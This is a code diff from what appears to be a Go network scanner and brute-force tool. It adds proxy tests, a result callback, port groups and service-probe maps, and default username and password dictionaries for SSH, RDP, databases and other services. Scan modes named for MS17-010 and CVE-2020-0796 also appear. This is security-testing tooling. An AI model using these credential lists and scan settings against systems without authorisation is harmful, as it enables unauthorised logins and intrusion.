fv.HTTPProxy = tt.httpProxy
|
||||
|
||||
// 调用函数
|
||||
config := createProxyConfig(tt.timeout)
|
||||
|
||||
// 验证结果
|
||||
if config.Type != tt.expectedType {
|
||||
t.Errorf("Type = %v, want %v", config.Type, tt.expectedType)
|
||||
}
|
||||
if config.Address != tt.expectedAddr {
|
||||
t.Errorf("Address = %q, want %q", config.Address, tt.expectedAddr)
|
||||
}
|
||||
if config.Username != tt.expectedUser {
|
||||
t.Errorf("Username = %q, want %q", config.Username, tt.expectedUser)
|
||||
}
|
||||
if config.Password != tt.expectedPass {
|
||||
t.Errorf("Password = %q, want %q", config.Password, tt.expectedPass)
|
||||
}
|
||||
if config.Timeout != tt.timeout {
|
||||
t.Errorf("Timeout = %v, want %v", config.Timeout, tt.timeout)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestCreateProxyConfigEdgeCases(t *testing.T) {
|
||||
fv := GetFlagVars()
|
||||
origSocks5 := fv.Socks5Proxy
|
||||
origHTTP := fv.HTTPProxy
|
||||
defer func() {
|
||||
fv.Socks5Proxy = origSocks5
|
||||
fv.HTTPProxy = origHTTP
|
||||
}()
|
||||
|
||||
t.Run("invalid socks5 url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "://invalid"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
// 即使 URL 解析失败,也应该回退到原始值或解析后的 Host
|
||||
if config.Type != proxy.ProxyTypeSOCKS5 {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeSOCKS5)
|
||||
}
|
||||
// URL 解析后提取 Host,对于 "://invalid" 会得到 ":"
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("invalid http url fallback", func(t *testing.T) {
|
||||
fv.Socks5Proxy = ""
|
||||
fv.HTTPProxy = "://invalid"
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Type != proxy.ProxyTypeHTTP {
|
||||
t.Errorf("Type = %v, want %v", config.Type, proxy.ProxyTypeHTTP)
|
||||
}
|
||||
// URL 解析后提取 Host,对于无效 URL 可能得到非预期值
|
||||
if config.Address == "" {
|
||||
t.Error("Address should not be empty")
|
||||
}
|
||||
})
|
||||
|
||||
t.Run("empty password with username", func(t *testing.T) {
|
||||
fv.Socks5Proxy = "socks5://user:@127.0.0.1:1080"
|
||||
fv.HTTPProxy = ""
|
||||
|
||||
config := createProxyConfig(5 * time.Second)
|
||||
|
||||
if config.Username != "user" {
|
||||
t.Errorf("Username = %q, want %q", config.Username, "user")
|
||||
}
|
||||
if config.Password != "" {
|
||||
t.Errorf("Password = %q, want empty string", config.Password)
|
||||
}
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,36 @@
|
||||
package common
|
||||
|
||||
import "sync"
|
||||
|
||||
// ResultCallback 扫描结果回调函数类型
|
||||
type ResultCallback func(result interface{})
|
||||
|
||||
var (
|
||||
resultCallback ResultCallback
|
||||
callbackMu sync.RWMutex
|
||||
)
|
||||
|
||||
// SetResultCallback 设置结果回调函数(Web模式使用)
|
||||
func SetResultCallback(cb ResultCallback) {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = cb
|
||||
}
|
||||
|
||||
// NotifyResult 通知结果给回调函数
|
||||
func NotifyResult(result interface{}) {
|
||||
callbackMu.RLock()
|
||||
cb := resultCallback
|
||||
callbackMu.RUnlock()
|
||||
|
||||
if cb != nil {
|
||||
cb(result)
|
||||
}
|
||||
}
|
||||
|
||||
// ClearResultCallback 清除结果回调函数
|
||||
func ClearResultCallback() {
|
||||
callbackMu.Lock()
|
||||
defer callbackMu.Unlock()
|
||||
resultCallback = nil
|
||||
}
|
||||
@@ -1,137 +0,0 @@
|
||||
package common
|
||||
|
||||
var version = "1.8.3"
|
||||
var Userdict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"}
|
||||
var PORTList = map[string]int{
|
||||
"ftp": 21,
|
||||
"ssh": 22,
|
||||
"findnet": 135,
|
||||
"netbios": 139,
|
||||
"smb": 445,
|
||||
"mssql": 1433,
|
||||
"oracle": 1521,
|
||||
"mysql": 3306,
|
||||
"rdp": 3389,
|
||||
"psql": 5432,
|
||||
"redis": 6379,
|
||||
"fcgi": 9000,
|
||||
"mem": 11211,
|
||||
"mgo": 27017,
|
||||
"ms17010": 1000001,
|
||||
"cve20200796": 1000002,
|
||||
"web": 1000003,
|
||||
"webonly": 1000003,
|
||||
"webpoc": 1000003,
|
||||
"smb2": 1000004,
|
||||
"wmiexec": 1000005,
|
||||
"all": 0,
|
||||
"portscan": 0,
|
||||
"icmp": 0,
|
||||
"main": 0,
|
||||
}
|
||||
var PortGroup = map[string]string{
|
||||
"ftp": "21",
|
||||
"ssh": "22",
|
||||
"findnet": "135",
|
||||
"netbios": "139",
|
||||
"smb": "445",
|
||||
"mssql": "1433",
|
||||
"oracle": "1521",
|
||||
"mysql": "3306",
|
||||
"rdp": "3389",
|
||||
"psql": "5432",
|
||||
"redis": "6379",
|
||||
"fcgi": "9000",
|
||||
"mem": "11211",
|
||||
"mgo": "27017",
|
||||
"ms17010": "445",
|
||||
"cve20200796": "445",
|
||||
"service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017",
|
||||
"db": "1433,1521,3306,5432,6379,11211,27017",
|
||||
"web": "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880",
|
||||
"all": "1-65535",
|
||||
"main": "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017",
|
||||
}
|
||||
var Outputfile = "result.txt"
|
||||
var IsSave = true
|
||||
var Webport = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9100,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10250,12018,12443,14000,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,21000,21501,21502,28018,20880"
|
||||
var DefaultPorts = "21,22,80,81,135,139,443,445,1433,1521,3306,5432,6379,7001,8000,8080,8089,9000,9200,11211,27017"
|
||||
|
||||
type HostInfo struct {
|
||||
Host string
|
||||
Ports string
|
||||
Url string
|
||||
Infostr []string
|
||||
}
|
||||
|
||||
type PocInfo struct {
|
||||
Target string
|
||||
PocName string
|
||||
}
|
||||
|
||||
var (
|
||||
Path string
|
||||
Scantype string
|
||||
Command string
|
||||
SshKey string
|
||||
Domain string
|
||||
Username string
|
||||
Password string
|
||||
Proxy string
|
||||
Timeout int64 = 3
|
||||
WebTimeout int64 = 5
|
||||
TmpSave bool
|
||||
NoPing bool
|
||||
Ping bool
|
||||
Pocinfo PocInfo
|
||||
NoWebCan bool
|
||||
IsBrute bool
|
||||
RedisFile string
|
||||
RedisShell string
|
||||
Userfile string
|
||||
Passfile string
|
||||
HostFile string
|
||||
PortFile string
|
||||
PocPath string
|
||||
Threads int
|
||||
URL string
|
||||
UrlFile string
|
||||
Urls []string
|
||||
NoPorts string
|
||||
NoHosts string
|
||||
SC string
|
||||
PortAdd string
|
||||
UserAdd string
|
||||
PassAdd string
|
||||
BruteThread int
|
||||
LiveTop int
|
||||
Socks5Proxy string
|
||||
Hash string
|
||||
HashBytes []byte
|
||||
HostPort []string
|
||||
IsWmi bool
|
||||
Noredistest bool
|
||||
)
|
||||
|
||||
var (
|
||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"
|
||||
Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
|
||||
DnsLog bool
|
||||
PocNum int
|
||||
PocFull bool
|
||||
CeyeDomain string
|
||||
ApiKey string
|
||||
Cookie string
|
||||
)
|
||||
@@ -0,0 +1,266 @@
|
||||
package config
|
||||
|
||||
// PocInfo POC详细信息结构 - 保留给webscan使用
|
||||
type PocInfo struct {
|
||||
Target string `json:"target"`
|
||||
PocName string `json:"poc_name"`
|
||||
}
|
||||
|
||||
// CredentialPair 精确的用户名密码对
|
||||
type CredentialPair struct {
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 端口组常量 - 从common/constants.go迁移
|
||||
// =============================================================================
|
||||
|
||||
// 预定义端口组 - 字符串格式,用于命令行参数默认值
|
||||
var (
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印 (Issue #517)
|
||||
WebPorts = "80,81,82,83,84,85,86,87,88,89,90,91,92,98,99,443,800,801,808,880,888,889,1000,1010,1080,1081,1082,1099,1118,1888,2008,2020,2100,2375,2379,3000,3008,3128,3505,5555,6080,6648,6868,7000,7001,7002,7003,7004,7005,7007,7008,7070,7071,7074,7078,7080,7088,7200,7680,7687,7688,7777,7890,8000,8001,8002,8003,8004,8005,8006,8008,8009,8010,8011,8012,8016,8018,8020,8028,8030,8038,8042,8044,8046,8048,8053,8060,8069,8070,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095,8096,8097,8098,8099,8100,8101,8108,8118,8161,8172,8180,8181,8200,8222,8244,8258,8280,8288,8300,8360,8443,8448,8484,8800,8834,8838,8848,8858,8868,8879,8880,8881,8888,8899,8983,8989,9000,9001,9002,9008,9010,9043,9060,9080,9081,9082,9083,9084,9085,9086,9087,9088,9089,9090,9091,9092,9093,9094,9095,9096,9097,9098,9099,9200,9443,9448,9800,9981,9986,9988,9998,9999,10000,10001,10002,10004,10008,10010,10051,10250,12018,12443,14000,15672,15671,16080,18000,18001,18002,18004,18008,18080,18082,18088,18090,18098,19001,20000,20720,20880,21000,21501,21502,28018"
|
||||
|
||||
// MainPorts 主要扫描端口 (约150个)
|
||||
// 包含: 基础服务、远程管理、数据库、消息队列、Web中间件、容器云、监控、安全设备等
|
||||
MainPorts = "" +
|
||||
// 基础服务 (21-995)
|
||||
"21,22,23,25,53,80,81,88,110,111,135,139,143,161,389,443,445,465,502,512,513,514,515,548,554,587,623,636,873,902,993,995," +
|
||||
// 代理/隧道 (1080-1883)
|
||||
"1080,1099,1194,1433,1434,1521,1522,1525,1723,1883," +
|
||||
// 远程/数据库 (2049-3690)
|
||||
"2049,2121,2181,2200,2222,2375,2376,2379,2380,3000,3128,3268,3269,3306,3389,3690," +
|
||||
// Java/中间件 (4369-5986)
|
||||
"4369,4444,4848,5000,5005,5044,5060,5432,5601,5631,5632,5671,5672,5900,5984,5985,5986," +
|
||||
// 缓存/数据库 (6000-6667)
|
||||
"6000,6379,6380,6443,6666,6667," +
|
||||
// Web/中间件 (7001-9999)
|
||||
// 注意:9100 已移除,该端口为打印机 RAW 端口,发送数据会触发打印
|
||||
"7001,7002,7474,7687,8000,8005,8008,8009,8080,8081,8086,8088,8089,8090,8161,8180,8443,8500,8834,8848,8880,8883,8888,9000,9001,9042,9080,9090,9092,9093,9160,9200,9300,9418,9443,9999," +
|
||||
// 管理/监控 (10000-11211)
|
||||
"10000,10051,10250,10255,11211," +
|
||||
// 消息队列/集群 (15672-27018)
|
||||
"15672,22222,26379,27017,27018," +
|
||||
// Hadoop/大数据 (50000-61616)
|
||||
"50000,50070,50075,61613,61614,61616"
|
||||
|
||||
// DbPorts 数据库端口
|
||||
DbPorts = "1433,1521,3306,5432,5672,5984,6379,7687,8086,9042,9093,9160,9200,11211,26379,27017,27018,61616"
|
||||
|
||||
// ServicePorts 服务端口
|
||||
ServicePorts = "21,22,23,25,53,110,111,135,139,143,161,389,445,465,502,512,513,514,587,623,636,873,993,995,1433,1521,1883,2049,2181,2222,3306,3389,5432,5672,5671,5900,5985,5986,6379,8161,8443,8883,9000,9092,9093,9200,10051,11211,15672,15671,27017,61616,61613"
|
||||
|
||||
// CommonPorts 常用端口
|
||||
CommonPorts = "21,22,23,25,53,80,110,135,139,143,443,445,993,995,1723,3389,5060,5985,5986"
|
||||
|
||||
// AllPorts 全端口
|
||||
AllPorts = "1-65535"
|
||||
)
|
||||
|
||||
// GetPortGroups 获取端口组映射 - 用于解析器
|
||||
func GetPortGroups() map[string]string {
|
||||
return map[string]string{
|
||||
"web": WebPorts,
|
||||
"main": MainPorts,
|
||||
"db": DbPorts,
|
||||
"service": ServicePorts,
|
||||
"common": CommonPorts,
|
||||
"all": AllPorts,
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 服务探测配置
|
||||
// =============================================================================
|
||||
|
||||
// DefaultProbeMap 默认探测器列表
|
||||
var DefaultProbeMap = []string{
|
||||
"GenericLines",
|
||||
"GetRequest",
|
||||
"TLSSessionReq",
|
||||
"SSLSessionReq",
|
||||
"ms-sql-s",
|
||||
"JavaRMI",
|
||||
"LDAPSearchReq",
|
||||
"LDAPBindReq",
|
||||
"oracle-tns",
|
||||
"Socks5",
|
||||
}
|
||||
|
||||
// DefaultPortMap 默认端口映射关系
|
||||
var DefaultPortMap = map[int][]string{
|
||||
1: {"GetRequest", "Help"},
|
||||
7: {"Help"},
|
||||
21: {"GenericLines", "Help"},
|
||||
23: {"GenericLines", "tn3270"},
|
||||
25: {"Hello", "Help"},
|
||||
35: {"GenericLines"},
|
||||
42: {"SMBProgNeg"},
|
||||
43: {"GenericLines"},
|
||||
53: {"DNSVersionBindReqTCP", "DNSStatusRequestTCP"},
|
||||
70: {"GetRequest"},
|
||||
79: {"GenericLines", "GetRequest", "Help"},
|
||||
80: {"GetRequest", "HTTPOptions", "RTSPRequest", "X11Probe", "FourOhFourRequest"},
|
||||
81: {"GetRequest", "HTTPOptions", "RPCCheck", "FourOhFourRequest"},
|
||||
82: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
83: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
84: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
85: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
88: {"GetRequest", "Kerberos", "SMBProgNeg", "FourOhFourRequest"},
|
||||
98: {"GenericLines"},
|
||||
110: {"GenericLines"},
|
||||
111: {"RPCCheck"},
|
||||
113: {"GenericLines", "GetRequest", "Help"},
|
||||
119: {"GenericLines", "Help"},
|
||||
130: {"NotesRPC"},
|
||||
135: {"DNSVersionBindReqTCP", "SMBProgNeg"},
|
||||
139: {"GetRequest", "SMBProgNeg"},
|
||||
143: {"GetRequest"},
|
||||
175: {"NJE"},
|
||||
199: {"GenericLines", "RPCCheck", "Socks5", "Socks4"},
|
||||
214: {"GenericLines"},
|
||||
264: {"GenericLines"},
|
||||
311: {"LDAPSearchReq"},
|
||||
340: {"GenericLines"},
|
||||
389: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
444: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
445: {"SMBProgNeg"},
|
||||
465: {"SSLSessionReq", "TLSSessionReq", "Hello", "Help", "GetRequest", "HTTPOptions", "TerminalServerCookie"},
|
||||
502: {"GenericLines"},
|
||||
503: {"GenericLines"},
|
||||
513: {"GenericLines"},
|
||||
514: {"GenericLines"},
|
||||
515: {"LPDString"},
|
||||
544: {"GenericLines"},
|
||||
548: {"afp"},
|
||||
554: {"GetRequest"},
|
||||
563: {"GenericLines"},
|
||||
587: {"Hello", "Help"},
|
||||
631: {"GetRequest", "HTTPOptions"},
|
||||
636: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
646: {"LDAPSearchReq", "RPCCheck"},
|
||||
691: {"GenericLines"},
|
||||
873: {"GenericLines"},
|
||||
898: {"GetRequest"},
|
||||
993: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
995: {"GenericLines", "SSLSessionReq", "TerminalServerCookie", "TLSSessionReq"},
|
||||
1080: {"GenericLines", "Socks5", "Socks4"},
|
||||
1099: {"JavaRMI"},
|
||||
1234: {"SqueezeCenter_CLI"},
|
||||
1311: {"GenericLines"},
|
||||
1352: {"oracle-tns"},
|
||||
1414: {"ibm-mqseries"},
|
||||
1433: {"ms-sql-s"},
|
||||
1521: {"oracle-tns"},
|
||||
1723: {"GenericLines"},
|
||||
1883: {"mqtt"},
|
||||
1911: {"oracle-tns"},
|
||||
2000: {"GenericLines", "oracle-tns"},
|
||||
2049: {"RPCCheck"},
|
||||
2121: {"GenericLines", "Help"},
|
||||
2181: {"GenericLines"},
|
||||
2222: {"GetRequest", "GenericLines", "HTTPOptions", "Help", "SSH", "TerminalServerCookie"},
|
||||
2375: {"docker", "GetRequest", "HTTPOptions"},
|
||||
2376: {"TLSSessionReq", "SSLSessionReq", "docker", "GetRequest", "HTTPOptions"},
|
||||
2484: {"oracle-tns"},
|
||||
2628: {"dominoconsole"},
|
||||
3000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
3268: {"LDAPSearchReq", "LDAPBindReq"},
|
||||
3269: {"LDAPSearchReq", "LDAPBindReq", "SSLSessionReq"},
|
||||
3306: {"GenericLines", "GetRequest", "HTTPOptions"},
|
||||
3389: {"TerminalServerCookie", "TerminalServer"},
|
||||
3690: {"GenericLines"},
|
||||
4000: {"GenericLines"},
|
||||
4369: {"epmd"},
|
||||
4444: {"GenericLines"},
|
||||
4840: {"GenericLines"},
|
||||
5000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
5050: {"GenericLines"},
|
||||
5060: {"SIPOptions"},
|
||||
5222: {"GenericLines"},
|
||||
5432: {"GenericLines"},
|
||||
5555: {"GenericLines"},
|
||||
5560: {"GenericLines", "oracle-tns"},
|
||||
5631: {"GenericLines", "PCWorkstation"},
|
||||
5672: {"GenericLines"},
|
||||
5984: {"GetRequest", "HTTPOptions"},
|
||||
6000: {"X11Probe"},
|
||||
6379: {"redis-server"},
|
||||
6432: {"GenericLines"},
|
||||
6667: {"GenericLines"},
|
||||
7000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7001: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7002: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
7070: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
7443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
7777: {"GenericLines", "oracle-tns"},
|
||||
8000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "iperf3"},
|
||||
8005: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8008: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8009: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "ajp"},
|
||||
8080: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8081: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8089: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8090: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
8443: {"TLSSessionReq", "SSLSessionReq", "GetRequest", "HTTPOptions"},
|
||||
8888: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9000: {"GetRequest", "HTTPOptions", "FourOhFourRequest"},
|
||||
9042: {"GenericLines"},
|
||||
9092: {"GenericLines", "kafka"},
|
||||
9200: {"GetRequest", "HTTPOptions", "elasticsearch"},
|
||||
9300: {"GenericLines"},
|
||||
9999: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "adbConnect"},
|
||||
10000: {"GetRequest", "HTTPOptions", "FourOhFourRequest", "JavaRMI"},
|
||||
10051: {"GenericLines"},
|
||||
11211: {"Memcache"},
|
||||
15672: {"GetRequest", "HTTPOptions"},
|
||||
27017: {"mongodb"},
|
||||
27018: {"mongodb"},
|
||||
50070: {"GetRequest", "HTTPOptions"},
|
||||
61616: {"GenericLines"},
|
||||
}
|
||||
|
||||
// DefaultUserDict 默认服务用户字典
|
||||
var DefaultUserDict = map[string][]string{
|
||||
"ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"},
|
||||
"mysql": {"root", "mysql"},
|
||||
"mssql": {"sa", "sql"},
|
||||
"smb": {"administrator", "admin", "guest"},
|
||||
"rdp": {"administrator", "admin", "guest"},
|
||||
"postgresql": {"postgres", "admin"},
|
||||
"ssh": {"root", "admin"},
|
||||
"mongodb": {"root", "admin"},
|
||||
"redis": {""},
|
||||
"oracle": {"sys", "system", "admin", "test", "web", "orcl"},
|
||||
"telnet": {"root", "admin", "test"},
|
||||
"elastic": {"elastic", "admin", "kibana"},
|
||||
"rabbitmq": {"guest", "admin", "administrator", "rabbit", "rabbitmq", "root"},
|
||||
"kafka": {"admin", "kafka", "root", "test"},
|
||||
"activemq": {"admin", "root", "activemq", "system", "user"},
|
||||
"ldap": {"admin", "administrator", "root", "cn=admin", "cn=administrator", "cn=manager"},
|
||||
"smtp": {"admin", "root", "postmaster", "mail", "smtp", "administrator"},
|
||||
"imap": {"admin", "mail", "postmaster", "root", "user", "test"},
|
||||
"pop3": {"admin", "root", "mail", "user", "test", "postmaster"},
|
||||
"zabbix": {"Admin", "admin", "guest", "user"},
|
||||
"rsync": {"root", "admin", "backup"},
|
||||
"cassandra": {"cassandra", "admin", "root", "system"},
|
||||
"neo4j": {"neo4j", "admin", "root", "test"},
|
||||
}
|
||||
|
||||
// DefaultPasswords 默认密码字典
|
||||
var DefaultPasswords = []string{
|
||||
"123456", "admin", "admin123", "root", "", "pass123", "pass@123",
|
||||
"password", "Password", "P@ssword123", "123123", "654321", "111111",
|
||||
"123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}",
|
||||
"{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123",
|
||||
"{user}#123", "{user}@111", "{user}@2019", "{user}@123#4",
|
||||
"P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test",
|
||||
"test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666",
|
||||
"a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888",
|
||||
"!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111",
|
||||
"a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123",
|
||||
"Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ",
|
||||
"2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456",
|
||||
"1q2w3e", "Charge123", "Aa123456789", "redis", "elastic123",
|
||||
}
|
||||
@@ -0,0 +1,393 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strconv"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
/*
|
||||
constants_test.go - 配置常量测试
|
||||
|
||||
测试目标:端口组、探测器配置、字典数据
|
||||
价值:配置错误会导致:
|
||||
- 端口组错误 → 扫描范围错误(用户遗漏目标)
|
||||
- 字典错误 → 暴力破解失败(无法登录系统)
|
||||
- 探测器配置错误 → 服务识别失败
|
||||
|
||||
"配置是数据,但数据也会有bug。端口范围错误、字典重复、
|
||||
空值遗漏——这些都是真实问题。测试数据和测试代码一样重要。"
|
||||
*/
|
||||
|
||||
// =============================================================================
|
||||
// 端口组测试
|
||||
// =============================================================================
|
||||
|
||||
// TestPortGroups_Format 测试端口组格式
|
||||
//
|
||||
// 验证:所有端口组字符串格式正确(可解析为端口列表)
|
||||
func TestPortGroups_Format(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
{"CommonPorts", CommonPorts},
|
||||
{"AllPorts", AllPorts},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
// 验证格式:逗号分隔的数字或范围
|
||||
if tt.portGroup == "" {
|
||||
t.Error("端口组不应为空")
|
||||
return
|
||||
}
|
||||
|
||||
// AllPorts是特殊格式"1-65535"
|
||||
if tt.portGroup == "1-65535" {
|
||||
t.Logf("✓ %s 格式正确(范围格式)", tt.name)
|
||||
return
|
||||
}
|
||||
|
||||
// 其他端口组应该是逗号分隔的数字
|
||||
ports := strings.Split(tt.portGroup, ",")
|
||||
if len(ports) == 0 {
|
||||
t.Error("端口组应该包含至少一个端口")
|
||||
return
|
||||
}
|
||||
|
||||
// 验证每个端口都是有效数字
|
||||
for i, portStr := range ports {
|
||||
port, err := strconv.Atoi(strings.TrimSpace(portStr))
|
||||
if err != nil {
|
||||
t.Errorf("第%d个端口 '%s' 不是有效数字: %v", i+1, portStr, err)
|
||||
continue
|
||||
}
|
||||
|
||||
// 验证端口范围
|
||||
if port < 1 || port > 65535 {
|
||||
t.Errorf("第%d个端口 %d 超出有效范围 [1-65535]", i+1, port)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ %s 格式正确(%d个端口)", tt.name, len(ports))
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPortGroups_NoEmpty 测试端口组非空
|
||||
func TestPortGroups_NoEmpty(t *testing.T) {
|
||||
groups := map[string]string{
|
||||
"WebPorts": WebPorts,
|
||||
"MainPorts": MainPorts,
|
||||
"DbPorts": DbPorts,
|
||||
"ServicePorts": ServicePorts,
|
||||
"CommonPorts": CommonPorts,
|
||||
"AllPorts": AllPorts,
|
||||
}
|
||||
|
||||
for name, ports := range groups {
|
||||
if ports == "" {
|
||||
t.Errorf("%s 不应为空字符串", name)
|
||||
}
|
||||
}
|
||||
|
||||
t.Logf("✓ 所有端口组非空")
|
||||
}
|
||||
|
||||
// TestPortGroups_NoDuplicates 测试端口组无重复
|
||||
func TestPortGroups_NoDuplicates(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
portGroup string
|
||||
}{
|
||||
{"WebPorts", WebPorts},
|
||||
{"MainPorts", MainPorts},
|
||||
{"DbPorts", DbPorts},
|
||||
{"ServicePorts", ServicePorts},
|
||||
